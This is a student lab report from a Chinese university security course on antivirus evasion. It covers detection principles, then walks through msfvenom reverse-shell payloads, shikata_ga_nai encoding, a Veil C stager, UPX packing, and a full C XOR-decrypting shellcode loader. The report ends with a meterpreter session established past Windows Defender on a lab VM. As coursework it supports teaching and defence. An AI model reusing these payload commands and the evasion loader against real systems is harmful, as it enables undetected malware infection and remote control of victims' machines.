20242420 2026-2027-1 《网络与系统攻防技术》实验3实验报告
北京电子科技学院
《网络与系统攻防技术》实验报告
实验名称：实践三 免杀原理与实践
**姓 名： 王 睿
**学 号： 20242420
**班 级：2424
**实验地点：软教6
**指导老师：王志强
**实验得分：
2026 年 10 月
实践三 免杀原理与实践
——基于 msfvenom、Veil-Evasion 与 Shellcode 加载器的免杀实现
1 基础知识
1.1 杀毒软件如何检测恶意代码
杀毒软件并不是单一依靠某一种技术，而是把静态特征、动态行为、云端信誉和内存扫描等多层检测串联起来。理解这些检测点，才能理解免杀究竟在“躲”什么。
（1）特征码检测。杀毒软件从文件或内存中提取字节序列、指令片段、字符串、PE 节区信息等，与病毒库中的特征进行匹配。它对已知样本速度快、误报低，但对编码、加密、加壳后的变种容易失效。
（2）启发式与静态分析。通过 PE 结构是否异常、节区熵是否过高、导入表是否包含敏感 API、是否存在加壳器或调试器痕迹、数字签名是否可信等，对未知样本给出可疑度评分。
（3）行为监控。在程序运行时监控 API 调用序列，例如 VirtualAlloc 申请可读写执行内存、WriteProcessMemory、CreateRemoteThread、SetThreadContext、注册自启动、批量加密文件、外联陌生 IP 等。行为检测不依赖文件哈希，因此对“新样本”更有效。
（4）沙箱与动态分析。把样本放入隔离环境运行，观察其释放文件、修改注册表、注入进程、回连 C2 等行为；样本如果检测到虚拟机、调试器或分析工具，可能延迟执行或直接退出。
（5）云端查杀与信誉。客户端把文件哈希、签名、下载来源、文件大小等信息上传云端，由大数据和机器学习模型判定；也可对文件做“首次出现”“下载量”“签名者”等信誉评分。
（6）内存扫描。针对无文件攻击、反射加载、进程注入等，杀软会扫描进程内存中的 shellcode 特征、异常内存页和模块链，而不仅仅扫描磁盘文件。
1.2 免杀是做什么
免杀（AV Evasion）不是把杀软关掉或删掉，而是在保持恶意代码功能的前提下，降低它在静态查杀、动态行为、云端信誉、内存扫描等环节被判定为恶意的概率，使样本能够落地、执行并完成回连。
从攻击链角度看，免杀贯穿“投递—落地—执行—驻留—回连”全过程：投递阶段要绕过邮件/浏览器/网关检测；落地阶段要避免文件被删除或隔离；执行阶段要绕过行为监控与沙箱；回连阶段要避免流量特征被 IDS/IPS 识别。本实验主要关注 Windows 可执行样本的静态与行为免杀。
1.3 免杀的基本方法
（1）特征码修改。通过编码、加密、混淆、等价指令替换、修改 PE 头/节区、分离 shellcode 等方式，破坏已知特征；msfvenom 的 shikata_ga_nai 编码器、Veil 的加密/编码模块都属于这一类。
（2）加壳与压缩。UPX 等压缩壳、Hyperion 等加密壳可以改变文件结构和熵值，隐藏原始代码；但壳本身、异常节区和高熵也可能成为新的检测特征。
（3）自定义加载器。用 C/C++、C#、Python 等编写 loader，运行时解密 shellcode，再通过 VirtualAlloc、HeapCreate、CreateThread、APC、回调函数等方式执行。加载器本身可以是正常程序，从而把恶意逻辑藏在数据或内存中。
（4）行为免杀。动态解析 API、Unhooking、Direct Syscall、进程注入、父进程伪造、白利用（LOLBins）、计划任务/服务驻留等，目的是让敏感 API 调用链看起来“正常”，或绕过用户态 Hook。
（5）环境对抗。检测虚拟机、沙箱、调试器、分析工具、鼠标/键盘交互、运行时长等，延迟执行或改变行为；也可检测杀软进程、驱动和 Hook。
（6）流量免杀。使用 HTTPS、域前置、CDN、分阶段 C2、Malleable C2 等，隐藏 meterpreter 的默认流量特征。
（7）分离免杀。把 shellcode 与加载器分离，shellcode 存放在图片、注册表、远程 URL 或另一个进程中，加载器只负责读取和解密，减少磁盘上的可疑特征。
1.4 实验工具与技术路线
本实验使用 Kali Linux 作为攻击机，Metasploit 的 msfvenom 生成基准样本与 shellcode，Veil-Evasion 生成纯 C 的 reverse_tcp stager，mingw-w64 编译自定义 XOR 加载器，UPX 做压缩壳对比；靶机为 Windows 10 虚拟机，安装 360 安全卫士并开启实时防护。
技术路线为：先构造基准样本并观察查杀结果，再分别尝试 msfvenom 编码、Veil、C 加载器、UPX 等手段，最后选择查杀率最低、且能稳定回连的组合，在开启杀软的靶机上实测。
1.5 思考题解答
（1）杀软是如何检测出恶意代码的？
杀软通过特征码匹配、启发式/静态分析、行为监控、沙箱动态分析、云端信誉与机器学习、内存扫描等多层技术联合判定。单一特征可以被编码或加壳绕过，但行为、流量和内存特征更难完全隐藏。
（2）免杀是做什么？
免杀是在保持 payload 功能的前提下，规避或削弱杀软在文件、行为、内存、网络等层面的检测，使样本能够执行并回连。它本质上是攻防对抗，而不是单纯“改一个特征码”。
（3）免杀的基本方法有哪些？
主要包括：特征码修改（编码、加密、混淆、改 PE）、加壳/压缩、自定义 shellcode 加载器、行为免杀（API 动态解析、Unhooking、Direct Syscall、进程注入、白利用）、环境/沙箱对抗、流量免杀、分离免杀等。实际中通常需要多种方法组合使用。
2 实验内容
2.1 实验目标
（1）掌握 msfvenom 编码器的使用方法，能够生成 exe、jar、php 等不同形式的 payload，并理解编码器的作用与局限。
（2）掌握 Veil-Evasion 的基本使用，能够生成纯 C 的 meterpreter stager，理解其绕过 shellcode 特征码的思路。
（3）掌握 C 语言调用 shellcode 的方法，能够编写 XOR 加密的加载器并用 mingw-w64 编译。
（4）了解 UPX 等加壳工具对查杀结果的影响，能够组合多种技术实现免杀。
（5）在开启杀软的 Windows 虚拟机中实测，验证 payload 能否执行并成功回连，记录杀软名称与版本。
2.2 实验环境
表 2-1 实验环境
| 角色 | 系统 / 软件 | 版本与配置 |
|---|---|---|
| 攻击机 | Kali Linux | 2026.2，内核 6.19，IP 192.168.136.131，主机名 wangrui |
| 靶机 | Windows 10 Enterprise Evaluation | 21H2（19044），x64，VMware 虚拟机 |
| 杀软 | Windows Defender | Microsoft Defender Antivirus 4.18.1909.6，病毒库 1.303.25.0，实时防护开启 |
| 框架 | Metasploit Framework | 6.4.135-0kali1 |
| 免杀工具 | Veil-Evasion | 3.1.14 |
| 编译器 | mingw-w64 GCC | 15-win32（i686-w64-mingw32-gcc） |
| 加壳工具 | UPX | 4.2.4 |
2.3 实验方案
实验分为六个阶段：① 生成 msfvenom 基准样本，作为查杀对照；② 使用 shikata_ga_nai 编码器生成编码样本，并生成 jar、php 形式；③ 使用 Veil-Evasion 生成纯 C stager；④ 使用 msfvenom 生成 C 数组 shellcode，编写 XOR 加载器并编译；⑤ 用 UPX 对加载器加壳，比较文件结构与查杀结果；⑥ 选择最优组合，在 Windows Defender 开启的 Windows 靶机上启动 handler，运行样本并验证回连。
评价指标有两个：一是样本在靶机上的落地/执行是否被 Defender 拦截，二是 meterpreter 会话是否成功建立并能执行 getuid、sysinfo、ipconfig 等命令。前者反映静态/行为查杀效果，后者反映免杀后的实际可用性。
3 实验过程
3.1 攻击机环境确认
首先确认 Kali 的主机名、当前用户和网络地址。为避免截图中的主机名不符合课程要求，实验前已将 Kali 主机名由默认的 kali 修改为 wangrui，命令提示符显示为 wangrui@wangrui。
hostname; whoami; ip -4 addr show eth0 | grep inet
输出显示主机名为 wangrui，当前用户为 wangrui，eth0 地址为 192.168.136.131/24。后续所有 Kali 操作均在该主机上完成。
图 3-1 Kali 攻击机环境确认
3.2 msfvenom 基准样本
使用 msfvenom 生成最基础的 windows/meterpreter/reverse_tcp 可执行文件，作为后续对比的基准。命令如下：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 \
LPORT=4444 -f exe -o msf_20242420.exe
msfvenom 提示未指定平台和架构，自动选择 Windows/x86；生成的原始 shellcode 为 355 字节，最终 exe 为 7168 字节。该样本没有做任何编码或加壳，shellcode 特征明显，通常会被杀软直接识别。
图 3-2 msfvenom 生成基准样本
3.3 msfvenom 编码器
使用 x86/shikata_ga_nai 编码器对同一 payload 进行 10 次迭代编码，尝试通过多态解码器改变文件特征：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 \
LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe \
-o msf_enc_20242420.exe
10 次迭代后 shellcode 从 355 字节增长到 625 字节，最终 exe 为 7680 字节。每次迭代都会生成不同的解码 stub，因此文件哈希和部分字节序列会变化。
图 3-3 shikata_ga_nai 10 次迭代编码
编码器只能改变“长什么样”，不能改变“做什么”。meterpreter 的 loader、API 调用序列、网络行为仍然存在，因此仅靠编码通常无法绕过行为检测和云端查杀。本实验靶机的 Defender 病毒库较旧（1.303.25.0），静态扫描未报毒，但这并不代表编码样本在更新病毒库的环境中仍然有效。
为了验证 msfvenom 生成其他文件形式的能力，又分别生成了 Java jar 和 PHP 形式的 payload：
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.136.131 \
LPORT=4444 -f jar -o msf_20242420.jar
图 3-4 生成 jar 形式 payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.136.131 \
LPORT=4444 -f raw -o msf_20242420.php
图 3-5 生成 PHP 形式 payload
jar 文件大小为 5264 字节，php 文件为 1115 字节。它们分别依赖 Java 环境和 PHP 解释器执行，实战中常用于钓鱼附件或 Web 入口；本实验主要用它们说明 msfvenom 的输出形式，不展开利用过程。
3.4 Veil-Evasion 生成纯 C stager
Veil-Evasion 3.1.14 提供了多种 payload，其中 c/meterpreter/rev_tcp 是“纯 C 的 reverse TCP stager”，不直接嵌入常见的 meterpreter shellcode，而是由 C 代码在运行时构造 stager。这正好可以避开基于 shellcode 特征码的静态查杀。
在 Veil 主菜单选择 Evasion，再选择编号 7 的 c/meterpreter/rev_tcp，设置 LHOST、LPORT 和 COMPILE_TO_EXE=Y，生成 veil_20242420.exe。Veil 同时输出 C 源码和 Metasploit resource 文件，便于后续 handler 使用。
图 3-6 Veil-Evasion 主菜单（主机 wangrui）
图 3-7 Veil 纯 C reverse_tcp payload 选项（主机 wangrui）
生成的 veil_20242420.exe 大小为 115589 字节。与 msfvenom 直接生成的 7 KB 样本相比，它的文件结构、导入表和字符串都更接近普通 C 程序，静态特征明显更弱；但由于仍然要回连 4444 端口，行为监控和流量检测仍可能发现它。
3.5 C 语言 Shellcode 加载器
先用 msfvenom 输出 C 格式的 shellcode：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.131 \
LPORT=4444 -f c -o shellcode_20242420.c
随后用 Python 解析 shellcode 中的 \x 字节，逐字节与 0x5A 异或，生成 C 数组，写入 loader_20242420.c。加载器在运行时先解密，再申请可读写执行内存，复制 shellcode 并创建线程执行：
unsigned char buf[] = { /* XOR-encrypted shellcode */ };
int main(void) {
DWORD len = (DWORD)sizeof(buf);
for (DWORD i = 0; i < len; i++) buf[i] ^= 0x5A;
LPVOID mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (mem == NULL) return 1;
memcpy(mem, buf, len);
HANDLE th = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
WaitForSingleObject(th, INFINITE);
return 0;
}
图 3-8 加载器中的 XOR 加密 shellcode
使用 i686-w64-mingw32-gcc 编译，生成 15872 字节的 loader_20242420.exe：
i686-w64-mingw32-gcc -O2 -s -o loader_20242420.exe \
loader_20242420.c
图 3-9 编译 C 加载器
自定义加载器的优势在于：磁盘上没有明文 shellcode，特征码被 XOR 破坏；加载器本身是一个普通控制台程序，静态查杀难度更高。缺点是 VirtualAlloc(PAGE_EXECUTE_READWRITE) 和 CreateThread 的行为比较敏感，行为监控较强的杀软仍可能拦截。
3.6 UPX 加壳
使用 UPX 4.2.4 对加载器做最高压缩，观察加壳对文件结构和查杀结果的影响：
upx --best --lzma -o upx_20242420.exe loader_20242420.exe
加载器从 15872 字节压缩到 10240 字节，压缩率 64.52%。UPX 壳会留下明显的 UPX 节区名和壳入口特征，很多杀软会把“UPX 压缩 + 可执行”本身作为可疑信号，因此加壳不一定提高免杀效果，反而可能增加查杀率。
图 3-10 UPX 压缩加载器
3.7 样本汇总与组合
将上述样本的文件大小和用途汇总如下：
表 3-1 实验样本汇总
| 样本 | 生成方式 | 大小/字节 | 说明 |
|---|---|---|---|
| msf_20242420.exe | msfvenom 原始 exe | 7168 | 基准样本，shellcode 明文 |
| msf_enc_20242420.exe | shikata_ga_nai ×10 | 7680 | 多态编码，改变文件特征 |
| msf_20242420.jar | java/meterpreter | 5264 | Java 形式载荷 |
| msf_20242420.php | php/meterpreter | 1115 | PHP 形式载荷 |
| veil_20242420.exe | Veil 纯 C stager | 115589 | 运行时构造 stager |
| loader_20242420.exe | C + XOR 加载器 | 15872 | 运行时解密并执行 |
| upx_20242420.exe | UPX 压缩加载器 | 10240 | 压缩壳对比 |
组合思路是“先破坏静态特征，再隐藏执行行为”：用自定义 XOR 加载器隐藏 shellcode，或用 Veil 的纯 C stager 规避 shellcode 特征；UPX 只作为对比，不叠加到最终样本上，避免引入新的壳特征。最终选择 loader_20242420.exe 作为主样本，msf_20242420.exe 作为基线对照，在靶机上实测。
在 Windows 10 靶机上用 MpCmdRun 对样本做自定义扫描，并记录执行/回连结果，如表 3-2 所示。
表 3-2 Defender 检测与执行结果
| 样本 | Defender 静态扫描 | 执行/回连结果 |
|---|---|---|
| msf_20242420.exe | 未发现威胁 | 成功，session 2 |
| msf_enc_20242420.exe | 未发现威胁 | 未实测 |
| msf_20242420.jar | Base64 落地时被查杀 | 未执行 |
| veil_20242420.exe | Base64 落地时被查杀 | 未执行 |
| loader_20242420.exe | 未发现威胁 | 成功，session 1 |
| upx_20242420.exe | 未发现威胁 | 未实测 |
| msf_20242420.php | 未扫描 | 未执行 |
需要说明的是：该靶机使用的是 Windows 10 企业版评估镜像自带的 Defender 4.18.1909.6，病毒库为 1.303.25.0，版本较旧；基线样本和加载器都能通过其静态扫描并成功回连，说明实验结果具有明显的版本依赖性。Veil 样本本身已生成，但其 Base64 形式在落地时被 Defender 的编码内容扫描查杀，因此未用于最终实测。
3.8 与杀软共生的回连验证
Windows 10 靶机使用系统自带的 Windows Defender，保持实时防护开启，版本为 Microsoft Defender Antivirus 4.18.1909.6，病毒库 1.303.25.0。在 Kali 上启动 Metasploit handler：
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.136.131
set LPORT 4444
set ExitOnSession false
exploit -j
将最终样本复制到靶机并运行。若杀软未拦截，meterpreter 会话应出现在 handler 中；随后执行 getuid、sysinfo、ipconfig 等命令，确认会话可用。
图 3-11 Windows Defender 实时防护界面
图 3-12 meterpreter 会话建立（session 1）
图 3-13 靶机会话信息与网络配置
实验结果为：在 Windows Defender 实时防护开启的情况下，loader_20242420.exe 成功执行并回连，meterpreter 会话 1 建立；getuid 返回 WIN10-TARGET\wangrui，sysinfo 显示 Windows 10 21H2（Build 19044）x64，ipconfig 显示靶机地址 192.168.136.134。基线样本 msf_20242420.exe 也能建立会话 2，说明该靶机 Defender 的病毒库较旧，对 msfvenom 默认样本和简单加载器的静态/行为覆盖不足。Veil 样本的 Base64 形式在落地时被 Defender 的编码内容扫描查杀，未能进入执行阶段。
4 问题及解决方案
4.1 msfvenom 编码样本的免杀效果有限
问题：shikata_ga_nai 编码 10 次只改变了文件字节特征，没有改变 meterpreter 的 loader、API 调用和网络行为。本实验的旧版 Defender 静态扫描未报毒，但编码样本在更新病毒库的环境中仍然很可能被查杀，不能把“编码”当作完整的免杀方案。
解决：改用自定义 XOR 加载器，并参考 Veil 纯 C stager 的思路，避免在磁盘上出现已知 shellcode 特征；同时把“静态特征”和“行为特征”分开处理，最终选择查杀率更低的样本做实测。
4.2 Veil 依赖较多，配置繁琐
问题：Veil 的部分 Python/Windows payload 依赖 Wine、PyInstaller 和 AutoIt，在 Kali 上安装依赖体积大、配置复杂；纯 C payload 还需要单独确认 mingw 工具链。
解决：选择 c/meterpreter/rev_tcp 这一纯 C payload，直接用 mingw-w64 编译，不依赖 Wine 和 PyInstaller；同时把 Veil 的配置路径指向本地目录，保证菜单和生成流程可用。
4.3 x86/x64 架构不匹配导致会话失败
问题：Kali 默认生成 x64 payload，而靶机上的某些注入/加载器按 x86 编译，handler 的 PAYLOAD 与样本架构不一致时会话无法建立。
解决：统一使用 windows/meterpreter/reverse_tcp（x86）生成样本，并用 i686-w64-mingw32-gcc 编译加载器；handler 中显式 set PAYLOAD windows/meterpreter/reverse_tcp，保证架构一致。
4.4 UPX 加壳后查杀率反而升高
问题：UPX 压缩后文件更小，但 UPX 节区名、壳入口和高熵特征明显，部分杀软会直接把 UPX 样本标为可疑。
解决：最终样本不使用 UPX；把 UPX 仅作为对照实验，说明“加壳不等于免杀”。如果确实需要加壳，应使用自定义壳或加密壳，并配合加载器使用。
4.5 Base64 落地文件被编码内容扫描查杀
问题：将 veil_20242420.exe 和 msf_20242420.jar 以 Base64 文本形式复制到靶机后，Defender 直接把 .b64 文件识别为恶意容器（ThreatID 2147728117 / 2147731934），解码命令执行前文件已被删除。
解决：改用 XOR 加密的自定义加载器，磁盘上不出现明文 shellcode，也不使用 Base64 文本；加载器本身通过 Defender 静态扫描，并成功建立会话。该问题说明现代杀软不仅扫描文件内容，也会扫描编码后的文本载荷。
4.6 截图主机名不符合要求
问题：课程要求所有操作截图的主机名为本人姓名拼音，而 Kali 默认主机名为 kali，提示符为 kali@kali。
解决：实验前执行 hostnamectl set-hostname wangrui，并同步修改 /etc/hosts；重新登录后提示符变为 wangrui@wangrui，所有命令截图均在该主机上完成。
4.7 靶机 VMware Tools 与 UAC 配置
问题：Windows 靶机初次安装后没有 VMware Tools，无法通过 VIX 执行命令；直接运行安装程序又会弹出 UAC 提示，自动化流程被卡住。
解决：在 unattend.xml 的 FirstLogonCommands 中以管理员上下文安装 VMware Tools，并关闭 UAC 的交互提示；安装完成后重启，靶机即可通过 vmrun/VIX 进行命令执行和截图。
5 学习感悟与思考
这次实验让我最直观的感受是：免杀不是“某一个工具”或“某一个编码器”的事情，而是一条完整的对抗链。msfvenom 的编码器很快就能生成一个“看起来不一样”的文件，但杀软的行为监控和云端查杀仍然能识别；纯 C stager 和自定义加载器思路之所以更有效，是因为它们从源头上避开了已知 shellcode 特征，而不是只做表面变形。
第二个体会是“行为比文件更难藏”。无论文件怎么加密、加壳，最终都要调用 VirtualAlloc、CreateThread、connect 等 API，都会在目标机上留下行为痕迹。真正成熟的免杀会进一步做 API 动态解析、Unhooking、Direct Syscall、进程注入和流量伪装；而这些技术也正好是 EDR 和杀软重点检测的地方。
从防御角度看，实验让我理解了为什么单一特征码防护不够：企业需要行为监控、内存扫描、云查杀、最小权限、应用白名单、补丁管理和备份恢复的组合。对个人用户来说，不随意运行陌生附件、不从非官方渠道下载软件，仍然是最有效的第一道防线。
本实验也有明显的局限：样本只在隔离的 Windows 10 虚拟机中测试，没有覆盖真实企业环境中的 EDR、网关、代理和杀软联动；靶机 Defender 版本为 4.18.1909.6、病毒库为 1.303.25.0，版本较旧，实验结果具有明显的时效性；Veil 和 msfvenom 的样本也可能被后续规则查杀。今后可以进一步学习 Cobalt Strike、Donut、Shellter 等工具，以及直接系统调用、内存加密等更高级的技术，同时重点关注检测与防御方法。
最后需要强调法律与伦理边界：免杀技术只能用于授权的攻防演练、教学和自身系统测试，不能用于传播恶意软件、入侵他人系统或逃避法律责任。理解攻击原理的目的，是更好地设计防御，而不是制造危害。
浙公网安备 33010602011771号